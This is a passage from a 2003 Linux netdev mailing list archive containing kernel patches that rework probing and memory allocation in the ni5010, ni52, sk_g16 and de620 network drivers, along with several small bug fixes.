base_addr); - else if (base_addr != 0) /* Don't probe at all. */ - return -ENXIO; + PRINTK2((KERN_DEBUG "%s: Entering ni5010_probe\n", dev->name)); + SET_MODULE_OWNER(dev); + + if (io > 0x1ff) { /* Check a single specified location. */ + err = ni5010_probe1(dev, io); + } else if (io != 0) { /* Don't probe at all. */ + err = -ENXIO; + } else { #ifdef FULL_IODETECT - for (int ioaddr=0x200; ioaddr<0x400; ioaddr+=0x20) { - if (check_region(ioaddr, NI5010_IO_EXTENT)) - continue; - if (ni5010_probe1(dev, ioaddr) == 0) - return 0; - } + for (io=0x200; io<0x400 && ni5010_probe1(dev, io) ; io+=0x20) + ; + if (io == 0x400) + err = -ENODEV; + #else - for (port = ni5010_portlist; *port; port++) { - int ioaddr = *port; - if (check_region(ioaddr, NI5010_IO_EXTENT)) - continue; - if (ni5010_probe1(dev, ioaddr) == 0) - return 0; - } + for (port = ports; *port && ni5010_probe1(dev, *port); port++) + ; + if (!*port) + err = -ENODEV; #endif /* FULL_IODETECT */ - return -ENODEV; + } + if (err) + goto out; + err = register_netdev(dev); + if (err) + goto out1; + return dev; +out1: + release_region(dev->base_addr, NI5010_IO_EXTENT); +out: + free_netdev(dev); + return ERR_PTR(err); } static inline int rd_port(int ioaddr) @@ -188,9 +206,17 @@ static int __init ni5010_probe1(struct net_device *dev, int ioaddr) { static unsigned version_printed; + struct ni5010_local *lp; int i; unsigned int data = 0; int boguscount = 40; + int err = -ENODEV; + + dev->base_addr = ioaddr; + dev->irq = irq; + + if (!request_region(ioaddr, NI5010_IO_EXTENT, boardname)) + return -EBUSY; /* * This is no "official" probe method, I've rather tested which @@ -205,36 +231,40 @@ * * - Andreas */ - + PRINTK2((KERN_DEBUG "%s: entering ni5010_probe1(%#3x)\n", dev->name, ioaddr)); - if (inb(ioaddr+0) == 0xff) return -ENODEV; + if (inb(ioaddr+0) == 0xff) + goto out; while ( (rd_port(ioaddr) & rd_port(ioaddr) & rd_port(ioaddr) & rd_port(ioaddr) & rd_port(ioaddr) & rd_port(ioaddr)) != 0xff) { - if (boguscount-- == 0) return -ENODEV; + if (boguscount-- == 0) + goto out; } PRINTK2((KERN_DEBUG "%s: I/O #1 passed!\n", dev->name)); for (i=0; i<32; i++) if ( (data = rd_port(ioaddr)) != 0xff) break; - if (data==0xff) return -ENODEV; + if (data==0xff) + goto out; PRINTK2((KERN_DEBUG "%s: I/O #2 passed!\n", dev->name)); - if ( (data == SA_ADDR0) && - (rd_port(ioaddr) == SA_ADDR1) && - (rd_port(ioaddr) == SA_ADDR2) ) { - for (i=0; i<4; i++) rd_port(ioaddr); - if ( (rd_port(ioaddr) != NI5010_MAGICVAL1) || - (rd_port(ioaddr) != NI5010_MAGICVAL2) ) { - return -ENODEV; - } - } else return -ENODEV; - + if ((data != SA_ADDR0) || (rd_port(ioaddr) != SA_ADDR1) || + (rd_port(ioaddr) != SA_ADDR2)) + goto out; + + for (i=0; i<4; i++) + rd_port(ioaddr); + + if ( (rd_port(ioaddr) != NI5010_MAGICVAL1) || + (rd_port(ioaddr) != NI5010_MAGICVAL2) ) + goto out; + PRINTK2((KERN_DEBUG "%s: I/O #3 passed!\n", dev->name)); if (NI5010_DEBUG && version_printed++ == 0) @@ -267,8 +297,9 @@ PRINTK2((KERN_DEBUG "%s: I/O #6 passed!\n", dev->name)); if (dev->irq == 0) { + err = -EAGAIN; printk(KERN_WARNING "%s: no IRQ found!\n", dev->name); - return -EAGAIN; + goto out; } PRINTK2((KERN_DEBUG "%s: I/O #7 passed!\n", dev->name)); } else if (dev->irq == 2) { @@ -278,19 +309,9 @@ PRINTK2((KERN_DEBUG "%s: I/O #9 passed!\n", dev->name)); /* DMA is not supported (yet?), so no use detecting it */ + lp = (struct ni5010_local*)dev->priv; - if (dev->priv == NULL) { - struct ni5010_local* lp; - - dev->priv = kmalloc(sizeof(struct ni5010_local), GFP_KERNEL|GFP_DMA); - if (dev->priv == NULL) { - printk(KERN_WARNING "%s: Failed to allocate private memory\n", dev->name); - return -ENOMEM; - } - - lp = (struct ni5010_local*)dev->priv; - spin_lock_init(&lp->lock); - } + spin_lock_init(&lp->lock); PRINTK2((KERN_DEBUG "%s: I/O #10 passed!\n", dev->name)); @@ -315,9 +336,6 @@ } printk("// bufsize rcv/xmt=%d/%d\n", bufsize_rcv, NI5010_BUFSIZE); memset(dev->priv, 0, sizeof(struct ni5010_local)); - - /* Grab the region so we can find another board if autoIRQ fails. */ - request_region(ioaddr, NI5010_IO_EXTENT, boardname); dev->open = ni5010_open; dev->stop = ni5010_close; @@ -327,9 +345,6 @@ dev->tx_timeout = ni5010_timeout; dev->watchdog_timeo = HZ/20; - /* Fill in the fields of the device structure with ethernet values. */ - ether_setup(dev); - dev->flags &= ~IFF_MULTICAST; /* Multicast doesn't work */ /* Shut up the ni5010 */ @@ -345,6 +360,9 @@ printk(KERN_INFO "Join the NI5010 driver development team!\n"); printk(KERN_INFO "Mail to a.mohr@mailto.de or jvbest@wi.leidenuniv.nl\n"); return 0; +out: + release_region(dev->base_addr, NI5010_IO_EXTENT); + return err; } /* @@ -513,6 +531,7 @@ int ioaddr = dev->base_addr; unsigned char rcv_stat; struct sk_buff *skb; + int i_pkt_size; PRINTK2((KERN_DEBUG "%s: entering ni5010_rx()\n", dev->name)); @@ -532,17 +551,17 @@ outb(0xff, EDLC_RCLR); /* Clear the interrupt */ - lp->i_pkt_size = inw(IE_RCNT); - if (lp->i_pkt_size > ETH_FRAME_LEN || lp->i_pkt_size < 10 ) { + i_pkt_size = inw(IE_RCNT); + if (i_pkt_size > ETH_FRAME_LEN || i_pkt_size < 10 ) { PRINTK((KERN_DEBUG "%s: Packet size error, packet size = %#4.4x\n", - dev->name, lp->i_pkt_size)); + dev->name, i_pkt_size)); lp->stats.rx_errors++; lp->stats.rx_length_errors++; return; } /* Malloc up new buffer. */ - skb = dev_alloc_skb(lp->i_pkt_size + 3); + skb = dev_alloc_skb(i_pkt_size + 3); if (skb == NULL) { printk(KERN_WARNING "%s: Memory squeeze, dropping packet.\n", dev->name); lp->stats.rx_dropped++; @@ -555,7 +574,7 @@ /* Read packet into buffer */ outb(MM_MUX, IE_MMODE); /* Rcv buffer to system bus */ outw(0, IE_GP); /* Seek to beginning of packet */ - insb(IE_RBUF, skb_put(skb, lp->i_pkt_size), lp->i_pkt_size); + insb(IE_RBUF, skb_put(skb, i_pkt_size), i_pkt_size); if (NI5010_DEBUG >= 4) dump_packet(skb->data, skb->len); @@ -564,10 +583,10 @@ netif_rx(skb); dev->last_rx = jiffies; lp->stats.rx_packets++; - lp->stats.rx_bytes += lp->i_pkt_size; + lp->stats.rx_bytes += i_pkt_size; PRINTK2((KERN_DEBUG "%s: Received packet, size=%#4.4x\n", - dev->name, lp->i_pkt_size)); + dev->name, i_pkt_size)); } @@ -697,10 +716,10 @@ if (NI5010_DEBUG > 3) dump_packet(buf, length); - buf_offs = NI5010_BUFSIZE - length - pad; - lp->o_pkt_size = length + pad; + buf_offs = NI5010_BUFSIZE - length - pad; spin_lock_irqsave(&lp->lock, flags); + lp->o_pkt_size = length + pad; outb(0, EDLC_RMASK); /* Mask all receive interrupts */ outb(0, IE_MMODE); /* Put Xmit buffer on system bus */ @@ -745,9 +764,7 @@ } #ifdef MODULE -static struct net_device dev_ni5010; -static int io; -static int irq; +static struct net_device *dev_ni5010; MODULE_PARM(io, "i"); MODULE_PARM(irq, "i"); @@ -756,8 +773,6 @@ int init_module(void) { - int result; - PRINTK2((KERN_DEBUG "%s: entering init_module\n", boardname)); /* if(io <= 0 || irq == 0){ @@ -771,29 +786,18 @@ } PRINTK2((KERN_DEBUG "%s: init_module irq=%#2x, io=%#3x\n", boardname, irq, io)); - dev_ni5010.irq=irq; - dev_ni5010.base_addr=io; - dev_ni5010.init=ni5010_probe; - if ((result = register_netdev(&dev_ni5010)) != 0) { - PRINTK((KERN_WARNING "%s: register_netdev returned %d.\n", - boardname, result)); - return -EIO; - } + dev_ni5010 = ni5010_probe(-1); + if (IS_ERR(dev_ni5010)) + return PTR_ERR(dev_ni5010); return 0; } -void -cleanup_module(void) +void cleanup_module(void) { PRINTK2((KERN_DEBUG "%s: entering cleanup_module\n", boardname)); - - unregister_netdev(&dev_ni5010); - - release_region(dev_ni5010.base_addr, NI5010_IO_EXTENT); - if (dev_ni5010.priv != NULL){ - kfree(dev_ni5010.priv); - dev_ni5010.priv = NULL; - } + unregister_netdev(dev_ni5010); + release_region(dev_ni5010->base_addr, NI5010_IO_EXTENT); + free_netdev(dev_ni5010); } #endif /* MODULE */ MODULE_LICENSE("GPL"); From shemminger@osdl.org Thu Sep 25 17:20:17 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 17:20:24 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q0KGFx012788 for ; Thu, 25 Sep 2003 17:20:17 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8Q0Je128026; Thu, 25 Sep 2003 17:19:40 -0700 Date: Thu, 25 Sep 2003 17:16:24 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (4/6) ni52 -- revised probing Message-Id: <20030925171624.76c8a5bb.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 263 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 5838 Lines: 227 from NE15-ni52 by Al Viro, updated to 2.6.0-test5 * switched ni52 to dynamic allocation * ni52: embedded ->priv * ni52: fixed clobbering of everything on autoprobe + use free_netdev diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Thu Sep 25 16:29:41 2003 +++ b/drivers/net/Space.c Thu Sep 25 16:29:41 2003 @@ -70,7 +70,7 @@ extern int ne3210_probe(struct net_device *); extern int e2100_probe(struct net_device *); extern int ni5010_probe(struct net_device *); -extern int ni52_probe(struct net_device *); +extern struct net_device *ni52_probe(int unit); extern struct net_device *ni65_probe(int unit); extern int sonic_probe(struct net_device *); extern int SK_init(struct net_device *); @@ -287,13 +287,13 @@ #ifdef CONFIG_NI5010 {ni5010_probe, 0}, #endif -#ifdef CONFIG_NI52 - {ni52_probe, 0}, -#endif {NULL, 0}, }; static struct devprobe2 isa_probes2[] __initdata = { +#ifdef CONFIG_NI52 + {ni52_probe, 0}, +#endif #ifdef CONFIG_NI65 {ni65_probe, 0}, #endif diff -Nru a/drivers/net/ni52.c b/drivers/net/ni52.c --- a/drivers/net/ni52.c Thu Sep 25 16:29:41 2003 +++ b/drivers/net/ni52.c Thu Sep 25 16:29:41 2003 @@ -354,50 +354,76 @@ memset((char *)p->scb,0,sizeof(struct scb_struct)); } +/* set: io,irq,memstart,memend or set it when calling insmod */ +static int irq=9; +static int io=0x300; +static long memstart; /* e.g 0xd0000 */ +static long memend; /* e.g 0xd4000 */ + /********************************************** * probe the ni5210-card */ -int __init ni52_probe(struct net_device *dev) +struct net_device * __init ni52_probe(int unit) { -#ifndef MODULE - int *port; + struct net_device *dev = alloc_etherdev(sizeof(struct priv)); static int ports[] = {0x300, 0x280, 0x360 , 0x320 , 0x340, 0}; -#endif - int base_addr = dev->base_addr; - - SET_MODULE_OWNER(dev); + int *port; + int err = 0; - if (base_addr > 0x1ff) /* Check a single specified location. */ - return ni52_probe1(dev, base_addr); - else if (base_addr > 0) /* Don't probe at all. */ - return -ENXIO; + if (!dev) + return ERR_PTR(-ENOMEM); -#ifdef MODULE - printk("%s: no autoprobing allowed for modules.\n",dev->name); -#else - for (port = ports; *port; port++) { - int ioaddr = *port; - dev->base_addr = ioaddr; - if (ni52_probe1(dev, ioaddr) == 0) - return 0; + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + io = dev->base_addr; + irq = dev->irq; + memstart = dev->mem_start; + memend = dev->mem_end; } -#ifdef FULL_IO_PROBE - for(dev->base_addr=0x200; dev->base_addr<0x400; dev->base_addr+=8) - if (ni52_probe1(dev, dev->base_addr) == 0) - return 0; -#endif + SET_MODULE_OWNER(dev); + if (io > 0x1ff) { /* Check a single specified location. */ + err = ni52_probe1(dev, io); + } else if (io > 0) { /* Don't probe at all. */ + err = -ENXIO; + } else { + for (port = ports; *port && ni52_probe1(dev, *port) ; port++) + ; + if (*port) + goto got_it; +#ifdef FULL_IO_PROBE + for (io = 0x200; io < 0x400 && ni52_probe1(dev, io); io += 8) + ; + if (io < 0x400) + goto got_it; #endif - - dev->base_addr = base_addr; - return -ENODEV; + err = -ENODEV; + } + if (err) + goto out; +got_it: + err = register_netdev(dev); + if (err) + goto out1; + return dev; +out1: + release_region(dev->base_addr, NI52_TOTAL_SIZE); +out: + free_netdev(dev); + return ERR_PTR(err); } static int __init ni52_probe1(struct net_device *dev,int ioaddr) { int i, size, retval; + dev->base_addr = ioaddr; + dev->irq = irq; + dev->mem_start = memstart; + dev->mem_end = memend; + if (!request_region(ioaddr, NI52_TOTAL_SIZE, dev->name)) return -EBUSY; @@ -416,7 +442,7 @@ goto out; } - printk("%s: NI5210 found at %#3lx, ",dev->name,dev->base_addr); + printk(KERN_INFO "%s: NI5210 found at %#3lx, ",dev->name,dev->base_addr); /* * check (or search) IO-Memory, 8K and 16K @@ -469,13 +495,6 @@ dev->mem_end = dev->mem_start + size; /* set mem_end showed by 'ifconfig' */ #endif - dev->priv = (void *) kmalloc(sizeof(struct priv),GFP_KERNEL); - if(dev->priv == NULL) { - printk("%s: Ooops .. can't allocate private driver memory.\n",dev->name); - retval = -ENOMEM; - goto out; - } - /* warning: we don't free it on errors */ memset((char *) dev->priv,0,sizeof(struct priv)); ((struct priv *) (dev->priv))->memtop = isa_bus_to_virt(dev->mem_start) + size; @@ -503,8 +522,6 @@ if(!dev->irq) { printk("?autoirq, Failed to detect IRQ line!\n"); - kfree(dev->priv); - dev->priv = NULL; retval = -EAGAIN; goto out; } @@ -526,8 +543,6 @@ dev->if_port = 0; - ether_setup(dev); - return 0; out: release_region(ioaddr, NI52_TOTAL_SIZE); @@ -1295,13 +1310,7 @@ } #ifdef MODULE -static struct net_device dev_ni52; - -/* set: io,irq,memstart,memend or set it when calling insmod */ -static int irq=9; -static int io=0x300; -static long memstart; /* e.g 0xd0000 */ -static long memend; /* e.g 0xd4000 */ +static struct net_device *dev_ni52; MODULE_PARM(io, "i"); MODULE_PARM(irq, "i"); @@ -1318,22 +1327,17 @@ printk("ni52: Autoprobing not allowed for modules.\nni52: Set symbols 'io' 'irq' 'memstart' and 'memend'\n"); return -ENODEV; } - dev_ni52.init = ni52_probe; - dev_ni52.irq = irq; - dev_ni52.base_addr = io; - dev_ni52.mem_end = memend; - dev_ni52.mem_start = memstart; - if (register_netdev(&dev_ni52) != 0) - return -EIO; + dev_ni52 = ni52_probe(-1); + if (IS_ERR(dev_ni52)) + return PTR_ERR(dev_ni52); return 0; } void cleanup_module(void) { - release_region(dev_ni52.base_addr, NI52_TOTAL_SIZE); - unregister_netdev(&dev_ni52); - kfree(dev_ni52.priv); - dev_ni52.priv = NULL; + unregister_netdev(dev_ni52); + release_region(dev_ni52->base_addr, NI52_TOTAL_SIZE); + free_netdev(dev_ni52); } #endif /* MODULE */ From shemminger@osdl.org Thu Sep 25 17:20:12 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 17:20:21 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q0KBFx012704 for ; Thu, 25 Sep 2003 17:20:11 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8Q0Jn128043; Thu, 25 Sep 2003 17:19:49 -0700 Date: Thu, 25 Sep 2003 17:19:24 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (6/6) sk16 -- revised network probing Message-Id: <20030925171924.43e317f3.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8Q0KBFx012704 X-archive-position: 262 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 8083 Lines: 312 from viro NE17-sk16 * switched sk_g16 to dynamic allocation * sk_g16: embedded ->priv * sk_g16: fixed buggy check for signature (|| instead of &&, somebody forgot to replace it when inverting the test). * sk_g16: fixed use after kfree() * sk_g16: fixed init_etherdev() race + add free_netdev diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Thu Sep 25 16:30:45 2003 +++ b/drivers/net/Space.c Thu Sep 25 16:30:45 2003 @@ -73,7 +73,7 @@ extern struct net_device *ni52_probe(int unit); extern struct net_device *ni65_probe(int unit); extern int sonic_probe(struct net_device *); -extern int SK_init(struct net_device *); +extern struct net_device *SK_init(int unit); extern int seeq8005_probe(struct net_device *); extern int smc_init( struct net_device * ); extern int atarilance_probe(struct net_device *); @@ -281,13 +281,13 @@ #ifdef CONFIG_ELPLUS /* 3c505 */ {elplus_probe, 0}, #endif -#ifdef CONFIG_SK_G16 - {SK_init, 0}, -#endif {NULL, 0}, }; static struct devprobe2 isa_probes2[] __initdata = { +#ifdef CONFIG_SK_G16 + {SK_init, 0}, +#endif #ifdef CONFIG_NI5010 {ni5010_probe, 0}, #endif diff -Nru a/drivers/net/sk_g16.c b/drivers/net/sk_g16.c --- a/drivers/net/sk_g16.c Thu Sep 25 16:30:45 2003 +++ b/drivers/net/sk_g16.c Thu Sep 25 16:30:45 2003 @@ -457,8 +457,6 @@ /* static variables */ static SK_RAM *board; /* pointer to our memory mapped board components */ -static struct net_device *SK_dev; -unsigned long SK_ioaddr; static spinlock_t SK_lock = SPIN_LOCK_UNLOCKED; /* Macros */ @@ -472,7 +470,6 @@ * See for short explanation of each function its definitions header. */ -int SK_init(struct net_device *dev); static int SK_probe(struct net_device *dev, short ioaddr); static void SK_timeout(struct net_device *dev); @@ -530,84 +527,71 @@ * YY/MM/DD uid Description -*/ +static int io; /* 0 == probe */ + /* * Check for a network adaptor of this type, and return '0' if one exists. * If dev->base_addr == 0, probe all likely locations. * If dev->base_addr == 1, always return failure. */ -int __init SK_init(struct net_device *dev) +struct net_device * __init SK_init(int unit) { - int ioaddr; /* I/O port address used for POS regs */ int *port, ports[] = SK_IO_PORTS; /* SK_G16 supported ports */ static unsigned version_printed; + struct net_device *dev = alloc_etherdev(sizeof(struct priv)); + int err = -ENODEV; + + if (!dev) + return ERR_PTR(-ENOMEM); - /* get preconfigured base_addr from dev which is done in Space.c */ - int base_addr = dev->base_addr; + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + io = dev->base_addr; + } if (version_printed++ == 0) PRINTK(("%s: %s", SK_NAME, rcsid)); - if (base_addr > 0x0ff) /* Check a single specified address */ - { - int rc = -ENODEV; - - ioaddr = base_addr; + if (io > 0xff) { /* Check a single specified address */ + err = -EBUSY; + /* Check if on specified address is a SK_G16 */ + if (request_region(io, ETHERCARD_TOTAL_SIZE, "sk_g16")) { + err = SK_probe(dev, io); + if (!err) + goto got_it; + release_region(io, ETHERCARD_TOTAL_SIZE); + } + } else if (io > 0) { /* Don't probe at all */ + err = -ENXIO; + } else { + /* Autoprobe base_addr */ + for (port = &ports[0]; *port; port++) { + io = *port; + + /* Check if I/O Port region is used by another board */ + if (!request_region(io, ETHERCARD_TOTAL_SIZE, "sk_g16")) + continue; /* Try next Port address */ + + /* Check if at ioaddr is a SK_G16 */ + if (SK_probe(dev, io) == 0) + goto got_it; - /* Check if on specified address is a SK_G16 */ - if (!request_region(ioaddr, ETHERCARD_TOTAL_SIZE, "sk_g16")) - return -EBUSY; - - if ( (inb(SK_POS0) == SK_IDLOW) || - (inb(SK_POS1) == SK_IDHIGH) ) - { - rc = SK_probe(dev, ioaddr); - } - - if (rc) - release_region(ioaddr, ETHERCARD_TOTAL_SIZE); - return rc; + release_region(io, ETHERCARD_TOTAL_SIZE); + } } - else if (base_addr > 0) /* Don't probe at all */ - { - return -ENXIO; +err_out: + free_netdev(dev); + return ERR_PTR(err); + +got_it: + err = register_netdev(dev); + if (err) { + release_region(dev->base_addr, ETHERCARD_TOTAL_SIZE); + goto err_out; } - - /* Autoprobe base_addr */ - - for (port = &ports[0]; *port; port++) - { - ioaddr = *port; /* we need ioaddr for accessing POS regs */ - - /* Check if I/O Port region is used by another board */ - - if (!request_region(ioaddr, ETHERCARD_TOTAL_SIZE, "sk_g16")) - { - continue; /* Try next Port address */ - } - - /* Check if at ioaddr is a SK_G16 */ - - if ( !(inb(SK_POS0) == SK_IDLOW) || - !(inb(SK_POS1) == SK_IDHIGH) ) - { - release_region(ioaddr, ETHERCARD_TOTAL_SIZE); - continue; /* Try next Port address */ - } - - dev->base_addr = ioaddr; /* Set I/O Port Address */ - - if (SK_probe(dev, ioaddr) == 0) - { - return 0; /* Card found and initialized */ - } - - release_region(ioaddr, ETHERCARD_TOTAL_SIZE); - } - - dev->base_addr = base_addr; /* Write back original base_addr */ - - return -ENODEV; /* Failed to find or init driver */ + return dev; } /* End of SK_init */ @@ -620,54 +604,22 @@ #ifdef MODULE -static int io; /* 0 == probe */ - static int __init SK_init_module (void) { - int rc; - - SK_dev = init_etherdev (NULL, 0); - if (!SK_dev) - return -ENOMEM; - - SK_dev->base_addr = io; - - rc = SK_init (SK_dev); - if (rc) { - unregister_netdev (SK_dev); - kfree (SK_dev); - SK_dev = NULL; - } - - return rc; + SK_dev = SK_init(-1); + return IS_ERR(SK_dev) ? PTR_ERR(SK_dev) : 0; } -#endif /* MODULE */ - static void __exit SK_cleanup_module (void) { - if (SK_dev) { - if (SK_dev->priv) { - kfree(SK_dev->priv); - SK_dev->priv = NULL; - } - unregister_netdev(SK_dev); - free_netdev(SK_dev); - SK_dev = NULL; - } - if (SK_ioaddr) { - release_region(SK_ioaddr, ETHERCARD_TOTAL_SIZE); - SK_ioaddr = 0; - } - + unregister_netdev(SK_dev); + release_region(SK_dev->base_addr, ETHERCARD_TOTAL_SIZE); + free_netdev(SK_dev); } - -#ifdef MODULE module_init(SK_init_module); -#endif module_exit(SK_cleanup_module); - +#endif /*- @@ -695,7 +647,11 @@ int sk_addr_flag = 0; /* SK ADDR correct? 1 - no, 0 - yes */ unsigned int rom_addr; /* used to store RAM address used for POS_ADDR */ - struct priv *p; /* SK_G16 private structure */ + struct priv *p = dev->priv; /* SK_G16 private structure */ + + if (inb(SK_POS0) != SK_IDLOW || inb(SK_POS1) != SK_IDHIGH) + return -ENODEV; + dev->base_addr = ioaddr; if (SK_ADDR & 0x3fff || SK_ADDR < 0xa0000) { @@ -837,12 +793,6 @@ dev->dev_addr[4], dev->dev_addr[5]); - /* Allocate memory for private structure */ - p = dev->priv = (void *) kmalloc(sizeof(struct priv), GFP_KERNEL); - if (p == NULL) { - printk("%s: ERROR - no memory for driver data!\n", dev->name); - return -ENOMEM; - } memset((char *) dev->priv, 0, sizeof(struct priv)); /* clear memory */ /* Assign our Device Driver functions */ @@ -856,10 +806,6 @@ dev->watchdog_timeo = HZ/7; - /* Set the generic fields of the device structure */ - - ether_setup(dev); - dev->flags &= ~IFF_MULTICAST; /* Initialize private structure */ @@ -884,12 +830,7 @@ SK_print_pos(dev, "End of SK_probe"); SK_print_ram(dev); #endif - - SK_dev = dev; - SK_ioaddr = ioaddr; - return 0; /* Initialization done */ - } /* End of SK_probe() */ @@ -1280,7 +1221,7 @@ memcpy_toio((tmdp->u.buffer & 0x00ffffff), skb->data, skb->len); if (len != skb->len) - memcpy_toio((tmdp->u.buffer & 0x00ffffff) + sb->len, pad, len-skb->len); + memcpy_toio((tmdp->u.buffer & 0x00ffffff) + skb->len, pad, len-skb->len); writew(-len, &tmdp->blen); /* set length to transmit */ From shemminger@osdl.org Thu Sep 25 17:20:32 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 17:20:39 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q0KVFx013048 for ; Thu, 25 Sep 2003 17:20:31 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8Q0Je128018; Thu, 25 Sep 2003 17:19:40 -0700 Date: Thu, 25 Sep 2003 17:12:14 -0700 From: Stephen Hemminger To: Jeff Garzik , netdev@oss.sgi.com Subject: [PATCH] (2/6) de620 -- revised probing Message-Id: <20030925171214.4c4ae565.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8Q0KVFx013048 X-archive-position: 264 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 4450 Lines: 184 Convert de620 for linux-2.6.0-test5 (original from Al Viro) * switched de620 to dynamic allocation * de620: embedded ->priv * de620: fixed IO before request_region() + fetch and don't clobber command line baseaddr and irq diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Thu Sep 25 16:29:03 2003 +++ b/drivers/net/Space.c Thu Sep 25 16:29:03 2003 @@ -97,7 +97,7 @@ extern struct net_device *ltpc_probe(void); /* Detachable devices ("pocket adaptors") */ -extern int de620_probe(struct net_device *); +extern struct net_device *de620_probe(int unit); /* Fibre Channel adapters */ extern int iph5526_probe(struct net_device *dev); @@ -296,7 +296,7 @@ {NULL, 0}, }; -static struct devprobe parport_probes[] __initdata = { +static struct devprobe2 parport_probes[] __initdata = { #ifdef CONFIG_DE620 /* D-Link DE-620 adapter */ {de620_probe, 0}, #endif @@ -387,8 +387,7 @@ probe_list(dev, mips_probes) == 0 || probe_list(dev, eisa_probes) == 0 || probe_list(dev, mca_probes) == 0 || - probe_list(dev, isa_probes) == 0 || - probe_list(dev, parport_probes) == 0) + probe_list(dev, isa_probes) == 0) err = register_netdev(dev); if (err) @@ -404,7 +403,7 @@ if (base_addr == 1) return; - return; /* nothing yet */ + probe_list2(unit, parport_probes, base_addr == 0); } #ifdef CONFIG_TR diff -Nru a/drivers/net/de620.c b/drivers/net/de620.c --- a/drivers/net/de620.c Thu Sep 25 16:29:03 2003 +++ b/drivers/net/de620.c Thu Sep 25 16:29:03 2003 @@ -226,7 +226,6 @@ /* Initialization */ static int adapter_init(struct net_device *); -int de620_probe(struct net_device *); static int read_eeprom(struct net_device *); @@ -814,11 +813,16 @@ * * Check if there is a DE-620 connected */ -int __init de620_probe(struct net_device *dev) +struct net_device * __init de620_probe(int unit) { - static struct net_device_stats de620_netstats; - int i; byte checkbyte = 0xa5; + struct net_device *dev; + int err = -ENOMEM; + int i; + + dev = alloc_etherdev(sizeof(struct net_device_stats)); + if (!dev) + goto out; SET_MODULE_OWNER(dev); @@ -831,11 +835,23 @@ dev->base_addr = io; dev->irq = irq; + /* allow overriding parameters on command line */ + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + } + if (de620_debug) printk(version); printk(KERN_INFO "D-Link DE-620 pocket adapter"); + if (!request_region(dev->base_addr, 3, "de620")) { + printk(" io 0x%3lX, which is busy.\n", dev->base_addr); + err = -EBUSY; + goto out1; + } + /* Initially, configure basic nibble mode, so we can read the EEPROM */ NIC_Cmd = DEF_NIC_CMD; de620_set_register(dev, W_EIP, EIPRegister); @@ -846,12 +862,8 @@ if ((checkbyte != 0xa5) || (read_eeprom(dev) != 0)) { printk(" not identified in the printer port\n"); - return -ENODEV; - } - - if (!request_region(dev->base_addr, 3, "de620")) { - printk(KERN_ERR "io 0x%3lX, which is busy.\n", dev->base_addr); - return -EBUSY; + err = -ENODEV; + goto out2; } /* else, got it! */ @@ -870,10 +882,6 